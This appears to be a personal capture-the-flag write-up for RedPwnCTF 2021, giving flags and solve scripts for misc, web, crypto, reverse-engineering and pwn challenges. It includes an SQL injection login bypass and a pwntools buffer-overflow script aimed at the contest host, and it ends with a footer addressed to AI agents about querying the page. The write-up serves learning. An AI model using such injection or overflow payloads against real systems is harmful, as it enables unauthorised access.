# RedPwnCTF 2021

## Misc

### Sanity-check \[1pt] <a href="#sanity-check" id="sanity-check"></a>

> I get to write the sanity check challenge! Alright!
>
> `flag{1_l0v3_54n17y_ch3ck_ch4ll5}`

**Flag: flag{1\_l0v3\_54n17y\_ch3ck\_ch4ll5}**

### Discord \[1 pt] <a href="#discord" id="discord"></a>

> &#x20;Join the discord! I hear `#rules` is an incredibly engaging read.

**Flag: flag{chall3n63\_au7h0r5h1p\_1nfl4710n}**

### Compliant-lattice-feline \[102 pts] <a href="#compliant-lattice-feline" id="compliant-lattice-feline"></a>

> **Description**
>
> get a flag!\
> `nc mc.ax 31443`

**Flag: flag{n3tc4t\_1s\_a\_pip3\_t0\_the\_w0rld}**

### The-substitution-game \[145 pts] **\[Not Solved]**

> **Description**
>
> author: BrownieInMotion

{% file src="/files/-MeW-E8g3KyAXykMO-vs" %}
Chall.py
{% endfile %}

**Solution**

So I was unable to get past level 4 but so far this was my solution

```python
# run_level(level_1, 5)
	# initial => target
# run_level(level_2, 10)
	# hello => goodbye
	# ginkoid => party
# run_level(level_3, 10)
	# aa => a
```

## Web

### Inspect me \[101 pts] <a href="#inspect-me" id="inspect-me"></a>

> **Description**
>
> See if you can find the flag in the source code!\
> inspect-me.mc.ax

**Solution**

View page source code and the flag is in the comments

**Flag: flag{inspect\_me\_like\_123}**

### Orm-bad \[102 pts] <a href="#orm-bad" id="orm-bad"></a>

> **Description**
>
> I just learned about orms today! They seem kinda difficult to implement though... Guess I'll stick to good old raw sql statements!\
> orm-bad.mc.ax

{% file src="/files/-MeNKHJt4Dve39NgA7nJ" %}
App.js
{% endfile %}

**Solution**

admin  / ' OR  1=1 - -

**Flag: flag{sqli\_overused\_again\_0b4f6}**

## Crypto

### Scissors \[102 pts] <a href="#scissors" id="scissors"></a>

> **Description**
>
> I was given this string and told something about scissors.\
> `egddagzp_ftue_rxms_iuft_rxms_radymf`

```python
import random

key = random.randint(0, 25)
alphabet = 'abcdefghijklmnopqrstuvwxyz'
shifted = alphabet[key:] + alphabet[:key]
dictionary = dict(zip(alphabet, shifted))

print(''.join([
    dictionary[c]
    if c in dictionary
    else c
    for c in input()
]))
```

**Solution**

Given some code and I just plug it in and run it. At this point, I see two paths. One I program a hardcode for all possibilities. The second option, keep running the program until it works. I decided on the second one because I got lucky the third time I ran it. I included the code I wrote when the contest was over

```python
for key in range(0,25):
    alphabet = 'abcdefghijklmnopqrstuvwxyz'
    shifted = alphabet[key:] + alphabet[:key]
    dictionary = dict(zip(alphabet, shifted))

    print(str(key)+ " " + ''.join([dictionary[c]
        if c in dictionary
        else c
        for c in "egddagzp_ftue_rxms_iuft_rxms_radymf"
    ]))
```

**Flag: flag{surround\_this\_flag\_with\_flag\_format}**

### Baby \[102 pts] <a href="#baby" id="baby"></a>

> **Description**
>
> I want to do an RSA!

{% file src="/files/-MeNNCH4PK\_6sJB87Q1n" %}
output.txt
{% endfile %}

**Solution**

Yes finally, an RSA puzzle, and I learned how to do it.\
So I notice we are missing P and Q so I used the RSActfTool to find those with N and e. Well that was a bust and so I moved onto mesieve\
`./msieve -q 228430203128652625114739053365339856393`

This worked and all I had to do after that was plug the numbers into the code and bam.

```python
from math import gcd
from Crypto.Util.number import *

n = 228430203128652625114739053365339856393
e = 65537
c = 126721104148692049427127809839057445790

p = 12546190522253739887
q = 18207136478875858439


def lcm(x, y):
    return (x * y) // gcd(x, y)

def ex_euclid(x, y):
    a0, a1 = 1, 0
    b0, b1 = 0, 1
    c0, c1 = x, y
    
    while c1 != 0:
        m = c0 % c1
        q = c0 // c1
        c0, c1 = c1, m
        a0, a1 = a1, (a0 - q * a1)
        b0, b1 = b1, (b0 - q * b1)

    return a0, b0

t = lcm(p - 1, q - 1)
a, b = ex_euclid(e, t)
d = a % t
m = pow(c, d, n)

print(long_to_bytes(m))
```

**Flag: flag{68ab82df34}**

### Round the Bases \[107 pts] <a href="#round-the-bases" id="round-the-bases"></a>

> **Description**\
> author: AdnanSlef\
> My flag has been all around the bases. Can you help me get it back?

{% file src="/files/-MeVtiUNFXSZhoqtbhvd" %}
round-the-bases
{% endfile %}

**Solution**

I know this one was going to use a lot of different base conversions, hence the name so I just launched up CyberChef and got to work. I tried some magic but that had no effect so I just brute forced and tried combinations of base conversions.

Out of all the base\_\_ conversions, base85 gave a magic symbol afterward... I think we are onto something. I just clicked through that and the algorithm created itself.

From Base85 -> From Hex -> From Decimal -> From Octal -> From Binary

**Flag: flag{w0w\_th4t\_w4s\_4ll\_wr4pp3d\_up}**

## Rev

### wstrings \[102 pts] <a href="#wstrings" id="wstrings"></a>

> **Description**
>
> Some strings are wider than normal...

{% file src="/files/-MeVvzO0RT3uqCKsaMod" %}
wstrings
{% endfile %}

**Solution**

Opened up the program and in Ghidra and analyzed it. Then I went over to the symbol tree and found an entry "Flag"

![](/files/-MeVskJCHKB9wP7SLqHO)

**Flag: flag{n0t\_al1\_str1ngs\_ar3\_sk1nny}**

### Bread-making \[108 pts] <a href="#bread-making" id="bread-making"></a>

> **Description**\
> author: KyleForkBomb
>
> My parents aren't home! Quick, help me make some bread please...

{% file src="/files/-MeWF24lWuGvXMcI9Jqq" %}
bread
{% endfile %}

**Solution**

So I started with `strings bread` and that gave me a whole lot, which I exported to a file `out.txt` and removed the useless information. I then thought that we are trying to find input and some phrases are for sure a response so I removed those as well. Given the last little amount, I was confident it would just take a little bit of time to find the right order. I decided to do some brute force with my code looking something like this after a small start&#x20;

```python
from pwn import *
import time

def initialSend(option):
	p = process("./bread")
	p.sendlineafter("bowl", "add flour")
	p.sendlineafter("added", "add yeast")
	p.sendlineafter("added", "add salt")
	p.sendlineafter("added", "add water")
	p.sendlineafter("lumpy dough", option)
	print(p.recv())
	print(p.recv())
	
f = open("outs.txt")
mycmds = []
lines = f.readlines()
count = 0
while count < len(lines):
	try:
		initialSend(lines[count])
		time.sleep(1)
		print(lines[count])
	except:
		time.sleep(.5)
	count += 1
```

Once I found everything  I created a final Full send

```python
from pwn import *

def fullSend(p):
	p.sendlineafter("to the bowl", "add flour")
	p.sendlineafter("has been added", "add yeast")
	p.sendlineafter("has been added", "add salt")
	p.sendlineafter("has been added", "add water")
	p.sendlineafter("a lumpy dough", "hide the bowl inside a box")
	p.sendlineafter("needs to rise", "wait 3 hours")
	p.sendlineafter("finish the dough", "work in the basement")
	p.sendlineafter("needs to be baked", "preheat the toaster oven")
	p.sendlineafter("for 45 minutes", "set a timer on your phone")
	p.sendlineafter("awfully long time", "watch the bread bake")
	p.sendlineafter("no time to waste", "pull the tray out with a towel")
	p.sendlineafter("smoke in the air", "unplug the fire alarm")
	p.sendlineafter("in another room", "open the window")
	p.sendlineafter("air rushes in", "unplug the oven")
	p.sendlineafter("kitchen is a mess", "wash the sink")
	p.sendlineafter("sink is cleaned", "clean the counters")
	p.sendlineafter("counters are cleaned", "flush the bread down the toilet")
	p.sendlineafter("is disposed of", "get ready to sleep")
	p.sendlineafter("go to sleep", "close the window")
	p.sendlineafter("window is closed", "replace the fire alarm")
	p.sendlineafter("alarm is replaced", "brush teeth and go to bed")
	p.interactive()
	p.close()
	
binary = remote("mc.ax", 31796)
fullSend(binary)

```

**Flag: flag{m4yb3\_try\_f0ccac1a\_n3xt\_t1m3???0r\_dont\_b4k3\_br3ad\_at\_m1dnight}**

## **Pwn**

### Beginner-generic-pwn-number-0 \[105 pts] <a href="#beginner-generic-pwn-number-0" id="beginner-generic-pwn-number-0"></a>

> Description\
> author: pepsipu
>
> rob keeps making me write beginner pwn! i'll show him...

{% file src="/files/-MeVz28mpBhGzNzqkSfH" %}
beginner-generic-pwn-number-0.c
{% endfile %}

**Solution**

So I know this was a buffer overflow because entering a lot of "A" created a segmentation fault.

```python
from pwn import *

flag_address = 0xffffffffffffffff
payload = b"A" * 40

# binary = process("./beginner-generic-pwn-number-0")
binary = remote("mc.ax", 31199)
print(binary.recvuntil(":(\n"))
binary.sendline(payload + p64(flag_address))
binary.interactive()
# Normal Response
# b'"\xf0\x9d\x98\xb1\xf0\x9d\x98\xad\xf0\x9d\x98\xa6\xf0\x9d\x98\xa2\xf0\x9d\x98\xb4\xf0\x9d\x98\xa6 \xf0\x9d\x98\xb8\xf0\x9d\x98\xb3\xf0\x9d\x98\xaa\xf0\x9d\x98\xb5\xf0\x9d\x98\xa6 \xf0\x9d\x98\xa2 \xf0\x9d\x98\xb1\xf0\x9d\x98\xb8\xf0\x9d\x98\xaf \xf0\x9d\x98\xb4\xf0\x9d\x98\xb0\xf0\x9d\x98\xae\xf0\x9d\x98\xa6\xf0\x9d\x98\xb5\xf0\x9d\x98\xaa\xf0\x9d\x98\xae\xf0\x9d\x98\xa6 \xf0\x9d\x98\xb5\xf0\x9d\x98\xa9\xf0\x9d\x98\xaa\xf0\x9d\x98\xb4 \xf0\x9d\x98\xb8\xf0\x9d\x98\xa6\xf0\x9d\x98\xa6\xf0\x9d\x98\xac"\nrob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!\ncan you write me a heartfelt message to cheer me up? :(\n'

```

**Flag: flag{im-feeling-a-lot-better-but-rob-still-doesnt-pay-me}**

## **Extra URL**

I found an interesting writeup that I should look further into

<https://github.com/datajerk/ctf-write-ups/tree/master/redpwnctf2021/getsome_beginner-generic-pwn-number-0_ret2generic-flag-reader_ret2the-unknown>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://codingmace.gitbook.io/masterward/ctf/2021/redpwn-2021.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
